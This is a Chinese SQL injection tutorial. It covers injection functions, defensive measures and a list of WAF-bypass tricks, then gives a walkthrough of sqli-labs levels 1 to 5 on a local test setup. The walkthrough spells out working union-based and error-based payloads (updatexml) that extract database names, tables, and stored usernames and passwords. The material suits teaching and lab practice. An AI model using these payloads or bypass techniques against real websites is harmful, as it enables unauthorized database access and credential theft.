SQL注入原理
SQL注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。
SQL注入常用函数及含义:
substr()函数,意为substr(string,start,length) 对于给定的字符串string,从start位开始截取,截取length的长度。
length:待提取的字符串长度,若length为下面情况,返回整个字符串的所有字符。
1.length不指定。
2.length为空。
3.length为负值。
4.length大于字符串的长度。
exp()数字函数
用于计算e的x次方的函数。e为底数,x为指数。
extractvalue()函数
形如extractvalue(XML_document, XPath_string),XML_document是String格式,为XML文档对象的名称;XPath_string(Xpath格式的字符串),注入时可操作的地方。
updatexml 函数
形如updatexml(xml_doument,XPath_string,new_value),XML_document是String格式,为XML文档对象的名称,XPath_string (Xpath格式的字符串),new_value,String格式,替换查找到的符合条件的数据,
SQL注入防御手段:
1. 使用参数化查询:使用参数化查询可以防止SQL注入攻击,并提高代码的可读性和可维护性。在Java中,可以使用PreparedStatement来实现参数化查询。
2. 输入验证和过滤:输入验证和过滤是一种用于确保用户输入数据的安全性和有效性的技术。它可以防止恶意输入和错误数据导致的安全漏洞和应用程序错误。在Java中,可以使用正则表达式和内置的输入验证方法来实现输入验证和过滤。
3. 使用存储过程:存储过程是一组预定义的SQL语句集合,可以在数据库中进行重复性和复杂性的操作。它们可以接受参数,并且可以在数据库中进行重复使用。
4. 最小权限原则:最小权限原则是一种安全性原则,指的是为了保护敏感数据和系统资源,用户应该被授予最小必需的权限。这意味着用户只能访问和执行他们工作所需的数据库对象和操作,而不是拥有对整个数据库的完全访问权限。
5. 使用ORM框架:ORM(对象关系映射)框架是一种将对象模型和关系数据库之间进行映射的技术。它允许开发人员使用面向对象的方式操作数据库,而不需要编写繁琐的SQL语句。ORM框架将数据库表映射为对象,将表的行映射为对象的属性,将表之间的关系映射为对象之间的关联。
6. 使用准备语句:准备语句(Prepared Statement)是一种预编译的SQL语句,它允许开发人员将参数化查询发送到数据库,并在执行时提供参数值。准备语句可以提高数据库操作的性能和安全性,同时还能防止SQL注入攻击。
7. 使用安全的数据库连接:使用安全的数据库连接是非常重要的,可以保护数据库免受恶意攻击和数据泄露。
8. 避免动态拼接SQL语句:避免动态拼接SQL语句是为了防止SQL注入攻击和提高代码的可读性和可维护性。
9. 使用防火墙和入侵检测系统:使用防火墙和入侵检测系统是为了保护计算机网络免受未经授权的访问和恶意攻击。
10. 定期更新和维护数据库软件:定期更新和维护数据库软件是非常重要的,以确保数据库的安全性、性能和功能的稳定性。
SQL注入常用绕过waf的方法
1.编码伪装,利用特殊字符编码方式绕过WAF的检测。
2.转义字符伪装,使用转义字符来隐藏恶意SQL语句。
3.随机数混淆,在注入语句中加入随机数,使其不被WAF检测到。
4.大小写伪装,通过大小写混合来伪装关键词。
5.双写伪装,将关键词双写,WAF识别为普通字符。
6.内联注释伪装,将恶意SQL代码隐藏在注释中,不被防火墙检测到。
7.协议层面绕过,利用WAF解析协议的问题。
sali-labs
打开小皮搭建环境
访问网址http://127.0.0.1/sqli-labs-master/并初始化
第一关
1.输入数字值的ID作为参数,我们输入?id=1
2.通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。
3.判断sql语句是否是拼接,是字符型还是数字型。
4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
联合注入:
1.首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+
2.爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1'union select 1,2,3--+
3.获取当前数据名和版本号
?id=-1'union select 1,database(),version()--+
4.爆表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
5.爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
6.通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
第二关
和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
第三关
当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
通过下面代码构建就可以进行sql注入。
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
第四关
根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
第五关
使用报错注入,且使用单引号闭合
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1爆出数据库名
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+爆出字段名
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+爆出字段下的内容
SQLi的手工注入的步骤
1.判断有无注入点
2.猜解列名数量
3.判断数据回显位置
4.信息收集
5.爆数据